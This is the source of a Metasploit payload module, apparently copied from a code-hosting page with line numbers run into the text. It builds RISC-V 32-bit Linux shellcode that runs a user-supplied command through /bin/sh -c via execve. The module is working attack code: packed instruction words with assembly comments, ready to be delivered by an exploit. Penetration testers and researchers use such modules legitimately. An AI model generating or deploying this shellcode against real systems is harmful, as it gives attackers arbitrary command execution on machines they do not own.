Path: blob/master/modules/payloads/singles/linux/riscv32le/exec.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 9678include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Execute Command',15'Description' => 'Execute an arbitrary command',16'Author' => [17'modexp', # cmd.s execve RISC-V 64-bit shellcode18'bcoles', # metasploit19],20'License' => BSD_LICENSE,21'Platform' => 'linux',22'Arch' => ARCH_RISCV32LE,23'References' => [24['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],25['URL', 'https://github.com/odzhan/shellcode/blob/master/os/linux/riscv64/cmd.s'],26]27)28)29register_options([30OptString.new('CMD', [ true, 'The command string to execute' ]),31])32end3334#35# Returns the command string to use for execution36#37def command_string38datastore['CMD'] || ''39end4041def generate(_opts = {})42shellcode =43[0xfe010113].pack('V*') + # addi sp,sp,-3244[0x0dd00893].pack('V*') + # li a7,22145[0x6e696537].pack('V*') + # lui a0,0x6e69646[0x22f50513].pack('V*') + # addi a0,a0,559 # 6e69622f <__global_pointer$+0x6e6848af>47[0x00a12023].pack('V*') + # sw a0,0(sp)48[0x00687537].pack('V*') + # lui a0,0x68749[0x32f50513].pack('V*') + # addi a0,a0,815 # 68732f <__global_pointer$+0x6759af>50[0x00a12223].pack('V*') + # sw a0,4(sp)51[0x00010513].pack('V*') + # mv a0,sp52[0x000065b7].pack('V*') + # lui a1,0x653[0x32d58593].pack('V*') + # addi a1,a1,813 # 632d <_start-0x9d27>54[0x00b12423].pack('V*') + # sw a1,8(sp)55[0x00810593].pack('V*') + # addi a1,sp,856[0x00000617].pack('V*') + # auipc a2,0x057[0x02460613].pack('V*') + # addi a2,a2,36 # 100ac <cmd>58[0x00a12623].pack('V*') + # sw a0,12(sp)59[0x00b12823].pack('V*') + # sw a1,16(sp)60[0x00c12a23].pack('V*') + # sw a2,20(sp)61[0x00012c23].pack('V*') + # sw zero,24(sp)62[0x00c10593].pack('V*') + # addi a1,sp,1263[0x00000613].pack('V*') + # li a2,064[0x00000073].pack('V*') + # ecall65command_string + "\x00"6667# align our shellcode to 4 bytes68shellcode += "\x00" while shellcode.bytesize % 4 != 06970super.to_s + shellcode71end72end737475